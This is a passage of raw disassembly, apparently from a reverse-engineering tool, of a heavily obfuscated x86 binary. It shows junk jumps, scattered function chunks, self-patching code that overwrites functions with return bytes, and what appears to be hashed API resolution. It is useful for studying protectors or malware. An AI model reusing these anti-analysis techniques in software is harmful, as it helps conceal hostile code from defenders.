00441FE3 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0044D715 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044D9F0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0044DBFD SIZE 00000005 BYTES xchg edx, [esp+0] mov eax, edx push esi push 6E4923A6h xchg ebx, [esp+4+var_4] mov esi, ebx pop ebx jmp loc_43CB09 sub_447C6F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_447C85: ; CODE XREF: sub_44057E+4966j ; sub_4383E0:loc_447739j cmp ecx, 2C146957h jmp loc_43AD7E ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44066C loc_447C90: ; CODE XREF: sub_44066C+6A7Aj rol eax, 18h push esi loc_447C94: ; CODE XREF: y22d6.y.:loc_449B79j mov esi, eax xchg esi, [esp+0] jmp nullsub_355 ; END OF FUNCTION CHUNK FOR sub_44066C ; =============== S U B R O U T I N E ======================================= sub_447C9E proc near ; CODE XREF: sub_43832B+Ap ; y22d6.y.:00439565j ; FUNCTION CHUNK AT 00439D7C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00441F39 SIZE 0000000B BYTES xchg eax, [esp+0] pop eax mov byte ptr [eax], 0C3h call sub_43BA9E loc_447CAA: ; CODE XREF: y22d6.y.:00444501j jmp loc_441F39 sub_447C9E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_447CAF: ; CODE XREF: sub_44057E+51CBj pop ecx xchg edi, [esp+0] mov ebp, edi pop edi retn 0Ch ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- loc_447CB9: ; CODE XREF: y22d6.y.:00444280j jmp sub_44C171 ; =============== S U B R O U T I N E ======================================= sub_447CBE proc near ; CODE XREF: y22d6.y.:0043D3C9p ; sub_4416CB:loc_43E009j ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00438515 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00447F23 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0044B301 SIZE 00000005 BYTES push eax mov eax, ebp xchg eax, [esp+4+var_4] jmp loc_447F23 sub_447CBE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C694 loc_447CC9: ; CODE XREF: sub_43C694+Dj and ebx, 64FD7481h test ebx, 40h jmp loc_43DA27 ; END OF FUNCTION CHUNK FOR sub_43C694 ; --------------------------------------------------------------------------- loc_447CDA: ; CODE XREF: y22d6.y.:loc_44052Ej jz near ptr byte_43F615 jmp loc_4492FD ; --------------------------------------------------------------------------- loc_447CE5: ; CODE XREF: y22d6.y.:loc_43A673j jz loc_438577 loc_447CEB: ; CODE XREF: y22d6.y.:00445B66j jmp loc_4440D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440D9E loc_447CF0: ; CODE XREF: sub_440D9E+5BDj jmp nullsub_97 ; END OF FUNCTION CHUNK FOR sub_440D9E ; --------------------------------------------------------------------------- mov ecx, 0B0190F87h sub edi, esi jmp loc_438577 ; --------------------------------------------------------------------------- pop ebp not eax jmp loc_44A3FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D534 loc_447D09: ; CODE XREF: sub_44D534:loc_44D541j or ebx, 983745DBh sub ebx, 3C70480Fh add ebx, 0A2FA2BACh mov [ebx], eax pop ebx lea eax, nullsub_297 mov byte ptr [eax], 0C3h jmp loc_44A999 ; END OF FUNCTION CHUNK FOR sub_44D534 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_447D2C: ; CODE XREF: sub_448EB6:loc_44769Ej mov eax, [esp-8+arg_4] jmp loc_43DB88 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7B5 loc_447D34: ; CODE XREF: sub_43B7B5-37E2j ja loc_442611 sub ebp, 2D36D5A6h jmp loc_44D16E ; END OF FUNCTION CHUNK FOR sub_43B7B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C980 loc_447D45: ; CODE XREF: sub_44C980+9Cj add eax, 5ADAD80Bh call sub_444E14 ; END OF FUNCTION CHUNK FOR sub_44C980 ; START OF FUNCTION CHUNK FOR sub_43946E loc_447D50: ; CODE XREF: sub_43946E+1288Aj jmp loc_4450EC ; END OF FUNCTION CHUNK FOR sub_43946E ; --------------------------------------------------------------------------- loc_447D55: ; CODE XREF: y22d6.y.:00445AC2j jmp sub_442C0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E5C7 loc_447D5A: ; CODE XREF: sub_44E5C7-13610j jz loc_44C761 jmp loc_441858 ; END OF FUNCTION CHUNK FOR sub_44E5C7 ; --------------------------------------------------------------------------- jnz loc_43D1E3 jmp loc_44D02C ; --------------------------------------------------------------------------- loc_447D70: ; CODE XREF: y22d6.y.:loc_44E201j call sub_43CA1A push offset sub_44D130 jmp locret_43BCEC ; =============== S U B R O U T I N E ======================================= sub_447D7F proc near ; CODE XREF: sub_43E31B+9p ; y22d6.y.:00448C07j ; FUNCTION CHUNK AT 004405EB SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00442FC3 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00443C2F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004457F6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044B97B SIZE 0000001C BYTES xchg edx, [esp+0] pop edx cmp al, 0A4h jz loc_443C2F jmp loc_448E85 sub_447D7F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_447D90: ; CODE XREF: sub_438B66+129E8j jl loc_4491B4 jmp loc_43AB9A ; END OF FUNCTION CHUNK FOR sub_438B66 ; --------------------------------------------------------------------------- locret_447D9B: ; CODE XREF: y22d6.y.:00448138j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_447D9C: ; CODE XREF: sub_449641:loc_43EEE5j jge loc_439D88 loc_447DA2: ; CODE XREF: y22d6.y.:0044A381j jmp loc_43CC32 ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E14E loc_447DA7: ; CODE XREF: sub_44E14E-12FAFj jmp sub_443EA2 ; END OF FUNCTION CHUNK FOR sub_44E14E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B10 loc_447DAC: ; CODE XREF: sub_437B10+1A90j jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_437B10 ; --------------------------------------------------------------------------- xchg edx, ecx and ecx, esi add eax, 0F2CDAC77h jnp loc_443E6C jmp loc_439D86 ; --------------------------------------------------------------------------- loc_447DC6: ; DATA XREF: sub_443AFF-6E78o push 0A710BFDAh xchg edx, [esp] mov ecx, edx pop edx and ecx, 2BA8DC09h rol ecx, 7 test ecx, 400h jmp loc_44258D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BEF7 loc_447DE5: ; CODE XREF: sub_43BEF7:loc_4426B0j ror eax, 19h call sub_449CFC loc_447DED: ; CODE XREF: y22d6.y.:0043E70Dj jmp loc_43EABB ; END OF FUNCTION CHUNK FOR sub_43BEF7 ; --------------------------------------------------------------------------- loc_447DF2: ; CODE XREF: y22d6.y.:0044A9B8j jnb loc_442240 ; START OF FUNCTION CHUNK FOR sub_43F501 loc_447DF8: ; CODE XREF: sub_43F501:loc_44A98Ej sub edx, 0B5F10851h add edx, 6299C621h add edx, ebp add edx, 59975A6Dh mov edx, [edx] jmp loc_43DFC7 ; END OF FUNCTION CHUNK FOR sub_43F501 ; --------------------------------------------------------------------------- mov eax, 6A74FD15h call sub_43CA1A push offset loc_44044F loc_447E22: ; CODE XREF: y22d6.y.:0044CAF4j jmp locret_439B0F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447268 loc_447E27: ; CODE XREF: sub_447268:loc_448D65j jb loc_43E613 rol edx, 0Eh jmp loc_44A7EE ; END OF FUNCTION CHUNK FOR sub_447268 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E86C loc_447E35: ; CODE XREF: sub_43E86C:loc_437629j jz loc_44B25A jmp loc_445BBF ; END OF FUNCTION CHUNK FOR sub_43E86C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_217. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp ds:off_41E038 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B06F loc_447E47: ; CODE XREF: sub_44B06F+1j jmp loc_43F82A ; END OF FUNCTION CHUNK FOR sub_44B06F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E7BF loc_447E4C: ; CODE XREF: sub_43E7BF-603Bj ; sub_43E7BF:loc_447734j ... jns loc_43C68A loc_447E52: ; CODE XREF: sub_43BEF7:loc_44ACFFj pop edx mov eax, [esp+0] push edx call sub_44A413 push offset sub_43C17E jmp loc_44C9E1 ; END OF FUNCTION CHUNK FOR sub_43E7BF ; --------------------------------------------------------------------------- loc_447E66: ; CODE XREF: y22d6.y.:004440FCj cmp ecx, 811C1DFEh jmp loc_43F43D ; --------------------------------------------------------------------------- cdq jmp sub_44CEB8 ; --------------------------------------------------------------------------- loc_447E77: ; CODE XREF: y22d6.y.:0043778Bj jle loc_43A3C4 ; =============== S U B R O U T I N E ======================================= sub_447E7D proc near ; CODE XREF: sub_444871+7CBDp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00445DD0 SIZE 00000019 BYTES xchg edi, [esp+0] pop edi mov eax, [esp-4+arg_0] push ebp sbb ebp, ecx jmp loc_445DD0 sub_447E7D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439E63 loc_447E8C: ; CODE XREF: sub_439E63:loc_44BC66j pop ecx loc_447E8D: ; CODE XREF: y22d6.y.:loc_438B60j or ecx, 0D3F12B80h js loc_43F31B ; END OF FUNCTION CHUNK FOR sub_439E63 ; START OF FUNCTION CHUNK FOR sub_43FFE2 loc_447E99: ; CODE XREF: sub_43FFE2+A639j jmp nullsub_162 ; END OF FUNCTION CHUNK FOR sub_43FFE2 ; --------------------------------------------------------------------------- sbb esi, 0D385B79Fh jmp loc_43861A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_25. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441619 loc_447EAA: ; CODE XREF: sub_441619+98BCj jmp sub_440CE6 ; END OF FUNCTION CHUNK FOR sub_441619 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_274. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E81B loc_447EB0: ; CODE XREF: sub_43E81B+761Bj jmp loc_449D2D ; END OF FUNCTION CHUNK FOR sub_43E81B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_33. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_447EB7: ; CODE XREF: y22d6.y.:00437A8Ej shr edi, 19h ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_447EBA: ; CODE XREF: y22d6.y.:loc_43A7E0j ; sub_440330-404Bj ... jmp loc_43DC49 ; --------------------------------------------------------------------------- loc_447EBF: ; CODE XREF: sub_4432B8+1D74j ; y22d6.y.:0044749Dj pop ecx pop ebp jmp loc_44B66A ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440CE6 loc_447EC6: ; CODE XREF: sub_440CE6:loc_44C53Dj jo loc_44B997 mov eax, [esp-4+arg_0] push edx call sub_43EF0B push 6B7A270Ah pop eax or eax, 0B19EBFE0h jmp loc_43BC5F ; END OF FUNCTION CHUNK FOR sub_440CE6 ; --------------------------------------------------------------------------- push edi jmp sub_43E81B ; --------------------------------------------------------------------------- loc_447EEC: ; CODE XREF: y22d6.y.:0044709Dj sbb ebx, 9810A055h push 8FC92EC3h loc_447EF7: ; CODE XREF: y22d6.y.:loc_44708Bj or eax, 0F0E919BCh add eax, 2BD704B5h or eax, 0FBE86755h cmp eax, 0CA6B64B7h jmp loc_449DE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44193A loc_447F14: ; CODE XREF: sub_44193A-A6BFj mov eax, [eax] or eax, eax jnz loc_43F12F jmp loc_43B291 ; END OF FUNCTION CHUNK FOR sub_44193A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447CBE loc_447F23: ; CODE XREF: sub_447CBE+6j mov ebp, esp jno sub_4398FF add esp, 0FFFFFFD0h mov eax, 12h jmp loc_44B301 ; END OF FUNCTION CHUNK FOR sub_447CBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4441E8 loc_447F38: ; CODE XREF: sub_4441E8+Aj mov esp, ebp push offset loc_44D086 jmp loc_448F2A ; END OF FUNCTION CHUNK FOR sub_4441E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B01 loc_447F44: ; CODE XREF: sub_437B01+5BA2j jz loc_4397D9 jmp loc_437ACC ; END OF FUNCTION CHUNK FOR sub_437B01 ; --------------------------------------------------------------------------- loc_447F4F: ; DATA XREF: sub_43B656+3581o xor eax, edx xchg esi, [esp] mov edx, esi pop esi push esi pushf call sub_445141 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS KEYPAD "+" TO EXPAND] db 85h dd 0FFFF2757h, 24048B5Ah, 0A7685352h, 0E9580F26h, 5A6Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_447F74: ; CODE XREF: sub_440280:loc_441DFBj jz loc_438F00 loc_447F7A: ; CODE XREF: y22d6.y.:loc_444E63j jmp loc_442450 ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- loc_447F7F: ; DATA XREF: sub_43CC60+5o push 91314FD5h pop esi add esi, 33541371h xor esi, 0D1A61C19h jmp loc_43805E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_447F96: ; CODE XREF: sub_448EB6:loc_43894Ej mov ebx, edi pop edi lea eax, nullsub_333 push offset sub_44826C jmp loc_43EB39 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- locret_447FA9: ; CODE XREF: y22d6.y.:loc_43A365j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B43 loc_447FAA: ; CODE XREF: sub_437B43:loc_441660j mov eax, [esp-8+arg_4] push ecx mov ecx, edx xchg ecx, [esp-4+arg_0] call sub_449ECF jmp loc_444360 ; END OF FUNCTION CHUNK FOR sub_437B43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_447FBD: ; CODE XREF: sub_448EB6+A1Ej cmp byte ptr [eax], 0 push offset sub_44051D jmp nullsub_140 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_447FCA: ; CODE XREF: y22d6.y.:loc_437AF2j lea eax, sub_441030 mov byte ptr [eax], 0C3h jmp loc_4370E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441030 loc_447FD8: ; CODE XREF: sub_441030+1j mov eax, [esp-4+arg_0] loc_447FDB: ; CODE XREF: sub_43AF5B:loc_437CB7j push edx call sub_442AFF mov eax, 0F2B89A19h call sub_43CA1A jmp loc_441BA5 ; END OF FUNCTION CHUNK FOR sub_441030 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_447FF0: ; CODE XREF: sub_44B1D2:loc_43D26Ej jz loc_43BD99 ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; START OF FUNCTION CHUNK FOR sub_448C77 loc_447FF6: ; CODE XREF: sub_448C77-CEA9j jmp sub_43887A ; END OF FUNCTION CHUNK FOR sub_448C77 ; --------------------------------------------------------------------------- xchg eax, edx shr ebx, 15h push edx jmp loc_43BD91 ; =============== S U B R O U T I N E ======================================= sub_448006 proc near ; CODE XREF: sub_43C242-4E93p ; y22d6.y.:0043CB7Aj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043ADCD SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043D344 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx xchg edx, [esp+0] jmp loc_43D344 sub_448006 endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_448012: ; CODE XREF: y22d6.y.:00448323j retn ; --------------------------------------------------------------------------- locret_448013: ; CODE XREF: y22d6.y.:loc_44A9A8j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445141 loc_448014: ; CODE XREF: sub_445141:loc_43F12Aj xor esi, 830AB232h popf add eax, esi pop esi mov ds:dword_43E380, eax jmp loc_43E2FE ; END OF FUNCTION CHUNK FOR sub_445141 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4404D1 loc_448029: ; CODE XREF: sub_4404D1+2D3Ej cmp ax, 0A5B3h jnz loc_4404DA retn ; END OF FUNCTION CHUNK FOR sub_4404D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AA5D loc_448034: ; CODE XREF: sub_44AA5D+7j jmp loc_442496 ; END OF FUNCTION CHUNK FOR sub_44AA5D ; =============== S U B R O U T I N E ======================================= sub_448039 proc near ; CODE XREF: sub_4470B1+Ep ; FUNCTION CHUNK AT 0043E713 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044483A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0044484B SIZE 0000000F BYTES mov eax, large fs:0 loc_448040: ; CODE XREF: sub_448039:loc_44483Aj ; sub_448039-37E6j jnz loc_44484B cmp dword ptr [eax], 0FFFFFFFFh mov ebx, [eax+4] loc_44804C: ; CODE XREF: y22d6.y.:loc_43E11Dj mov eax, [eax] jmp loc_43E713 sub_448039 endp ; --------------------------------------------------------------------------- loc_448053: ; DATA XREF: sub_43FFE2+A634o setnz byte ptr [ebp-5] push offset loc_43E424 jmp locret_44BD90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438A94 loc_448061: ; CODE XREF: sub_438A94:loc_43D639j mov edi, edx xchg edi, [esp+4+var_4] call sub_44B06F mov eax, 3CC6743Ch push esi push 0DEAF644Bh pop esi jmp loc_44E688 ; END OF FUNCTION CHUNK FOR sub_438A94 ; =============== S U B R O U T I N E ======================================= sub_44807C proc near ; CODE XREF: sub_4432B8+282p ; y22d6.y.:004448AFj ; FUNCTION CHUNK AT 004376E7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00437758 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00437BDA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00437CD1 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00439A12 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0043E33E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00443EE2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444478 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004457E2 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044A20E SIZE 0000001C BYTES xchg eax, [esp+0] pop eax add ecx, ebp push ebx push 31526ECh pop ebx jmp loc_44A20E sub_44807C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_44808E proc near ; DATA XREF: sub_44997F+25F2o pop eax cmp dword ptr [eax], 0 jnz loc_43E28D jmp sub_44B003 sub_44808E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CC1A loc_44809D: ; CODE XREF: sub_43CC1A:loc_43E28Dj push eax push 0 call sub_443EA2 pop eax jmp loc_43FADA ; END OF FUNCTION CHUNK FOR sub_43CC1A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_168. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov eax, 92A798AFh call sub_43CA1A mov ds:off_41E0B8, eax lea eax, sub_43B58F mov byte ptr [eax], 0C3h jmp sub_43B58F ; --------------------------------------------------------------------------- loc_4480CA: ; CODE XREF: y22d6.y.:loc_44D7BDj xchg ebp, [esp] mov edx, ebp pop ebp jmp loc_43E2B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B489 loc_4480D5: ; CODE XREF: sub_44B489:loc_4484A8j mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_44B489 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441AE7 loc_4480D9: ; CODE XREF: sub_441AE7+14j jmp loc_44D8AB ; END OF FUNCTION CHUNK FOR sub_441AE7 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4480DE proc near ; CODE XREF: sub_448C77-11935p ; sub_43760A+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004382A9 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043A1CB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043B3E6 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0043B5B0 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0043BE95 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0043EFDC SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0043F869 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004402B4 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0044315E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445FA4 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00446F88 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004485FF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00449525 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004496B2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0044C443 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044C9B3 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044CA83 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044D2C1 SIZE 00000013 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax call nullsub_4 jmp loc_446F88 sub_4480DE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E81B loc_4480F1: ; CODE XREF: sub_43E81B:loc_44D4E7j jz loc_43B749 jmp loc_4447B5 ; END OF FUNCTION CHUNK FOR sub_43E81B ; =============== S U B R O U T I N E ======================================= sub_4480FC proc near ; DATA XREF: y22d6.y.:0044A739o push esi push 150088A7h call sub_439B2C loc_448107: ; CODE XREF: y22d6.y.:00444B1Fj jmp nullsub_324 sub_4480FC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4404E5 loc_44810C: ; CODE XREF: sub_4404E5-2B25j jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_4404E5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_345. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_448112: ; DATA XREF: sub_444D95:loc_44705Do mov [ebp-5], al mov al, [ebp-5] pop ecx pop ecx loc_44811A: ; CODE XREF: y22d6.y.:loc_446FBAj jmp loc_43A393 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_44811F: ; CODE XREF: sub_44B1D2-F50Cj add esi, ebp add esi, 312A1C1Ch mov [esi], eax call sub_43EE2C loc_44812E: ; CODE XREF: y22d6.y.:00442DFAj jmp nullsub_180 ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- push offset sub_43CCB6 jmp locret_447D9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4441D9 loc_44813D: ; CODE XREF: sub_4441D9:loc_437676j jnz loc_44C104 pop ebp adc edx, ecx jmp loc_44B4DB ; END OF FUNCTION CHUNK FOR sub_4441D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC01 loc_44814B: ; CODE XREF: sub_43EC01:loc_437A0Aj jno loc_444DF5 mov eax, [esp+0] push eax push edx pop eax jmp loc_437EDD ; END OF FUNCTION CHUNK FOR sub_43EC01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC1C loc_44815C: ; CODE XREF: sub_43EC1C:loc_441A99j cmp al, 0A4h jz loc_43EF03 jmp loc_43CA47 ; END OF FUNCTION CHUNK FOR sub_43EC1C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437901 loc_448169: ; CODE XREF: sub_437901+5FD8j add eax, 5F99CAC9h jnz loc_449D11 ror eax, 4 mov edx, [esp-4+arg_0] jmp loc_44CD29 ; END OF FUNCTION CHUNK FOR sub_437901 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_194. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447268 loc_448181: ; CODE XREF: sub_447268-B9C6j jmp loc_449EEE ; END OF FUNCTION CHUNK FOR sub_447268 ; --------------------------------------------------------------------------- cmp edi, 0FAA865A2h jmp loc_449C47 ; --------------------------------------------------------------------------- xor edi, 859C7BC8h xor ebp, ecx jmp sub_43872E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_44819E: ; CODE XREF: sub_440280:loc_44A316j test ebx, 0D6E0A05h jmp loc_44D2FA ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441FB5 loc_4481AA: ; CODE XREF: sub_441FB5+12j jmp loc_445736 ; END OF FUNCTION CHUNK FOR sub_441FB5 ; =============== S U B R O U T I N E ======================================= sub_4481AF proc near ; CODE XREF: sub_43E81B-3793p ; sub_43E196p ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043AC46 SIZE 0000000C BYTES push edx mov edx, eax xchg edx, [esp+4+var_4] push 0 jmp loc_43AC46 sub_4481AF endp ; =============== S U B R O U T I N E ======================================= sub_4481BC proc near ; CODE XREF: sub_43BD44+7p ; y22d6.y.:0044AF8Fj xchg edx, [esp+0] loc_4481BF: ; CODE XREF: y22d6.y.:0044BCDAj pop edx inc dword ptr [ebp-4] mov eax, [ebp+8] jmp loc_43A0F9 sub_4481BC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B98D loc_4481CB: ; CODE XREF: sub_43B98D:loc_43A882j cmp dword ptr [ebp-14h], 4 jnz loc_444D67 mov eax, [ebp+8] jmp loc_43E60E ; END OF FUNCTION CHUNK FOR sub_43B98D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_4481DD: ; CODE XREF: y22d6.y.:004400AAj ; sub_44271A+3346j jge loc_44298B loc_4481E3: ; CODE XREF: y22d6.y.:0043F172j jmp loc_44971D ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- not ebx jmp loc_442988 ; =============== S U B R O U T I N E ======================================= sub_4481EF proc near ; CODE XREF: y22d6.y.:00440C68j ; sub_44B489-2FE6p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004381AF SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043A9F4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043B210 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BED8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F4CB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F7C9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F84F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00442BD2 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00445AEC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00446492 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044755F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00448A8F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00449EE2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044B062 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0044DBCC SIZE 00000015 BYTES xchg esi, [esp+4+var_4] pop esi cmp al, 0A4h jz loc_44B062 jmp loc_445AEC sub_4481EF endp ; sp-analysis failed ; --------------------------------------------------------------------------- add edi, ebp shl esi, 2 jmp sub_444E14 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442C0C loc_44820A: ; CODE XREF: sub_44439D-1A60j ; sub_442C0C:loc_449515j sub edx, eax loc_44820C: ; CODE XREF: sub_44439D-1A69j or eax, 0ACAECF23h and eax, 2554F909h xor eax, 0F9D2F009h call sub_43CA1A rol eax, 1Fh jmp loc_4374AE ; END OF FUNCTION CHUNK FOR sub_442C0C ; --------------------------------------------------------------------------- loc_44822B: ; CODE XREF: y22d6.y.:0043AA79j sbb eax, ebp adc esi, edx ; START OF FUNCTION CHUNK FOR sub_43F3AD loc_44822F: ; CODE XREF: sub_43F3AD:loc_43AA68j xor edx, 